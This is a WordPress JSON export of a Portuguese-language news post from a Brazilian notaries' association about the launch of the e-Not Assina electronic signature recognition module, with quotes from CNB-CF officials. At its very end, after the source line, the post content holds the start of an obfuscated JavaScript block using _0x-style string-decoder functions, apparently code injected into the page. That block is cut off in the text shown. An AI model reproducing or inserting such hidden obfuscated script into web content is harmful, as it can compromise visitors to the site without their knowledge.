{"id":29403,"date":"2022-04-28T15:01:08","date_gmt":"2022-04-28T19:01:08","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=29403"},"modified":"2022-04-28T15:01:08","modified_gmt":"2022-04-28T19:01:08","slug":"cnb-cf-lanca-novo-modulo-e-not-assina-para-reconhecimento-de-assinatura-eletronica","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/cnb-cf-lanca-novo-modulo-e-not-assina-para-reconhecimento-de-assinatura-eletronica\/","title":{"rendered":"CNB-CF lan\u00e7a novo m\u00f3dulo e-Not Assina para Reconhecimento de Assinatura Eletr\u00f4nica"},"content":{"rendered":"<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A atividade notarial brasileira d\u00e1 um novo passo em dire\u00e7\u00e3o ao seu futuro. O Col\u00e9gio Notarial do Brasil \u2013 Conselho Federal lan\u00e7ou nesta ter\u00e7a-feira (26.04) o novo m\u00f3dulo de Reconhecimento de Assinatura eletr\u00f4nica, o e-Not Assina. Em um evento inovador realizado de forma h\u00edbrida na sede da entidade, em Bras\u00edlia, membros da diretoria e presidentes das Seccionais Estaduais acompanharam o lan\u00e7amento presencialmente e mais de 4 mil profissionais notariais assistiram \u00e0s apresenta\u00e7\u00f5es por transmiss\u00e3o online e ao vivo, via plataforma Zoom.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A presidente do CNB\/CF, Giselle Oliveira de Barros, abriu o evento com o lan\u00e7amento oficial do novo servi\u00e7o. Em seu discurso, Giselle comentou os principais pontos sobre o novo m\u00f3dulo e convidou tabeli\u00e3es e tabeli\u00e3s de todo o pa\u00eds a aderirem \u00e0 novidade que \u201crefor\u00e7a a relev\u00e2ncia do notariado para a sociedade, suas demandas e o ambiente digital\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Giselle ressaltou a crescente import\u00e2ncia dos atos delegados pela Lei 11.441\/07 para a sustentabilidade financeira dos Tabelionatos de Notas e citou a relev\u00e2ncia da presen\u00e7a do notariado no ambiente digital. A presidente citou o cientista brit\u00e2nico Stephen Hawking \u2013 \u201cIntelig\u00eancia \u00e9 a capacidade de se adaptar \u00e0 mudan\u00e7a\u201d \u2013 e convidou os profissionais de todo o Brasil a aderirem ao novo m\u00f3dulo. \u201cA mudan\u00e7a j\u00e1 chegou e ela se chama e-Not Assina!\u201d, disse Giselle ao lan\u00e7ar o servi\u00e7o em um v\u00eddeo institucional especial.<\/p>\n<p><em>Veja o v\u00eddeo de lan\u00e7amento:\u00a0<\/em><\/p>\n<div class=\"video-container\"><iframe loading=\"lazy\" title=\"e-Not Assina - Reconhecimento de Assinatura Eletr\u00f4nica\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/F7Kdz6ZCxcQ?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O diretor do CNB\/CF e vice-presidente do Col\u00e9gio Notarial de Minas Gerais, Eduardo Calais, apresentou o \u201cCen\u00e1rio Atual\u201d do notarial brasileiro e ressaltou a necessidade da atividade de adaptar-se \u00e0s demandas contempor\u00e2neas da sociedade. \u201cO reconhecimento de firmas j\u00e1 indica sinais de que n\u00e3o est\u00e1 bem, situa\u00e7\u00e3o essa que se adensou na pandemia\u201d, disse.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Calais comentou a busca do mercado cada vez mais por confian\u00e7a e seguran\u00e7a aliadas \u00e0 tecnologia, benef\u00edcio que se integra ainda mais ao notariado com o lan\u00e7amento do e-Not Assina. \u201cN\u00e3o podemos ter medo da tecnologia. A figura do not\u00e1rio \u00e9 e poder\u00e1 continuar sendo relevante nos neg\u00f3cios jur\u00eddicos\u201d, concluiu.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Jos\u00e9 Renato Vilarnovo, diretor do CNB\/CF e presidente da Seccional do Rio de Janeiro, apresentou as bases jur\u00eddicas do Reconhecimento de Assinatura Eletr\u00f4nica a partir dos princ\u00edpios de \u201cpreven\u00e7\u00e3o\u201d e seguran\u00e7a jur\u00eddica pela F\u00e9-P\u00fablica do Notariado Latino. \u201cF\u00e9 P\u00fablica \u00e9 o que garante a presen\u00e7a do Notariado no jogo. \u00c9 o que d\u00e1 \u2013 ainda \u2013 mais valor a um ato que muitos servi\u00e7os eletr\u00f4nicos de confian\u00e7a \u2013 como s\u00e3o chamadas as empresas privadas de assinatura eletr\u00f4nica\u201d, comentou.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Para Vilarnovo, empresas privadas de assinaturas eletr\u00f4nicas n\u00e3o podem conferir a seguran\u00e7a jur\u00eddica pela F\u00e9 P\u00fablica Notarial, o que \u201cconfere mais valor ao ato realizado pelo notariado\u201d, concluiu.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Coube ao diretor do CNB\/CF e vice-presidente da Seccional de S\u00e3o Paulo, Andrey Guimar\u00e3es Duarte, apresentar o \u201cModelo de Neg\u00f3cios\u201d do novo m\u00f3dulo, com o processo da demanda pelo usu\u00e1rio ao tabeli\u00e3o e sua sustentabilidade financeira. \u201cApenas mantendo as condi\u00e7\u00f5es econ\u00f4mica\/financeira para termos um not\u00e1rio em cada canto deste pa\u00eds, continuaremos presentes na vida do cidad\u00e3o. Essa nova ferramenta, colocada \u00e0 disposi\u00e7\u00e3o do not\u00e1rio, busca atender essas premissas\u201d, explicou o diretor.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Andrey ressaltou as principais regras para realiza\u00e7\u00e3o do Reconhecimento de Assinatura Eletr\u00f4nica pelo tabeli\u00e3o e pelo cidad\u00e3o, como os princ\u00edpios de territorialidade e respeito \u00e0s tabelas de emolumentos de cada estado. \u201cO momento \u00e9 de virada, oferece riscos, mas tamb\u00e9m oportunidades. Sabemos que muitos podem ter vis\u00f5es diferentes, outra forma de ver as solu\u00e7\u00f5es para esse momento, mas pedimos o voto de confian\u00e7a de voc\u00eas\u201d, concluiu.<\/p>\n<p style=\"text-align: justify;\"><strong>Apresenta\u00e7\u00f5es t\u00e9cnicas<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O lan\u00e7amento do e-Not Assina contou, em sua segunda parte, com uma apresenta\u00e7\u00e3o t\u00e9cnica com o passo a passo para a ades\u00e3o de tabeli\u00e3es no novo m\u00f3dulo. Rafael Depieri, assessor jur\u00eddico do CNB\/CF, apresentou alguns dos principais trechos de normas que fundamentam o Reconhecimento de Assinatura Eletr\u00f4nica. \u201cEsse reconhecimento de assinatura eletr\u00f4nica, como novel ato notarial eletr\u00f4nico simples ou remoto para documentos particulares em suporte eletr\u00f4nico tem como determina\u00e7\u00e3o jur\u00eddica o art. 23, III, do Provimento n\u00b0 100\/2020, do CNJ, c\/c o art. 6\u00b0, III, da Lei n\u00b0 8.935\/1994\u201d, explicou o advogado.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Renato Martini, consultor de Tecnologia do CNB\/CF, ressaltou a import\u00e2ncia da ades\u00e3o de tabeli\u00e3es ao novo m\u00f3dulo para que uma rede de atendimento ampla esteja dispon\u00edvel \u00e0 popula\u00e7\u00e3o no momento que o e-Not Assina for disponibilizado aos usu\u00e1rios. \u201cA realiza\u00e7\u00e3o da assinatura online ocorrer\u00e1 por meio do Certificado Digital Notarizado, que passou por uma s\u00e9rie de modifica\u00e7\u00f5es importantes para que pudesse ser emitido com regramentos condizentes \u00e0s demandas do e-Not Assina\u201d, disse.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Martini refor\u00e7ou que o novo m\u00f3dulo traz consigo a ideia da \u201cServentia Digital\u201d e cria um ambiente online pr\u00f3prio de cada tabelionato, possibilitando que o mesmo crie uma lista de mensalistas dentro do e-Notariado.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O diretor de Tecnologia do CNB\/CF, Marcos de Paola, apresentou o passo a passo para a ades\u00e3o dos tabeli\u00e3es de notas ao m\u00f3dulo de Reconhecimento de Assinatura Eletr\u00f4nica. \u201cO e-Not Assina traz uma modifica\u00e7\u00e3o base na forma em que um ato online \u00e9 realizado, j\u00e1 que a cria\u00e7\u00e3o do fluxo de assinaturas \u00e9 produzida por um cliente orquestrador, que ent\u00e3o enviar\u00e1 o documento a ser assinado para os clientes signat\u00e1rios, dentro deste &#8220;ambiente virtual do cart\u00f3rio\u201d, explicou.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O passo a passo para o credenciamento do tabeli\u00e3o no m\u00f3dulo e-Not Assina pode ser consultado na \u00edntegra <a href=\"https:\/\/colegionotarialdobrasil.freshdesk.com\/support\/solutions\/articles\/43000660902-e-not-assina-credenciamento-do-tabeli%C3%A3o\">aqui<\/a>.<\/p>\n<p style=\"text-align: justify;\"><strong>Encerramento<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A presidente do CNB\/CF, Giselle Oliveira de Barros, encerrou o evento com um convite para todos os profissionais notariais do Brasil: \u201cTenho certeza que este m\u00f3dulo \u00e9 o futuro do balc\u00e3o dos nossos Tabelionatos e ser\u00e1 o nosso balc\u00e3o digital para atendimento \u00e0 popula\u00e7\u00e3o, por isso \u00e9 vital que todos os 8.578 Tabelionatos de Notas do pa\u00eds estejam integrados \u00e0 nossa plataforma e-Notariado e se cadastrem no m\u00f3dulo e-Not Assina!\u201d disse.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201cTenho absoluta certeza que o notariado brasileiro cumprir\u00e1 o seu papel e ocupar\u00e1 o lugar que \u00e9 seu \u2013 o de guardi\u00e3o dos direitos dos cidad\u00e3os e da sociedade brasileira como faz h\u00e1 mais de 450 anos! Toda a sorte para n\u00f3s!\u201d, concluiu Giselle.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O novo m\u00f3dulo ser\u00e1 disponibilizado para os cidad\u00e3os brasileiros no pr\u00f3ximo dia 31 de maio. O processo de cadastro de cart\u00f3rios j\u00e1 est\u00e1 dispon\u00edvel no site do e-Notariado.<\/p>\n<p style=\"text-align: justify;\"><em>Fonte: CNB\/CF<\/em><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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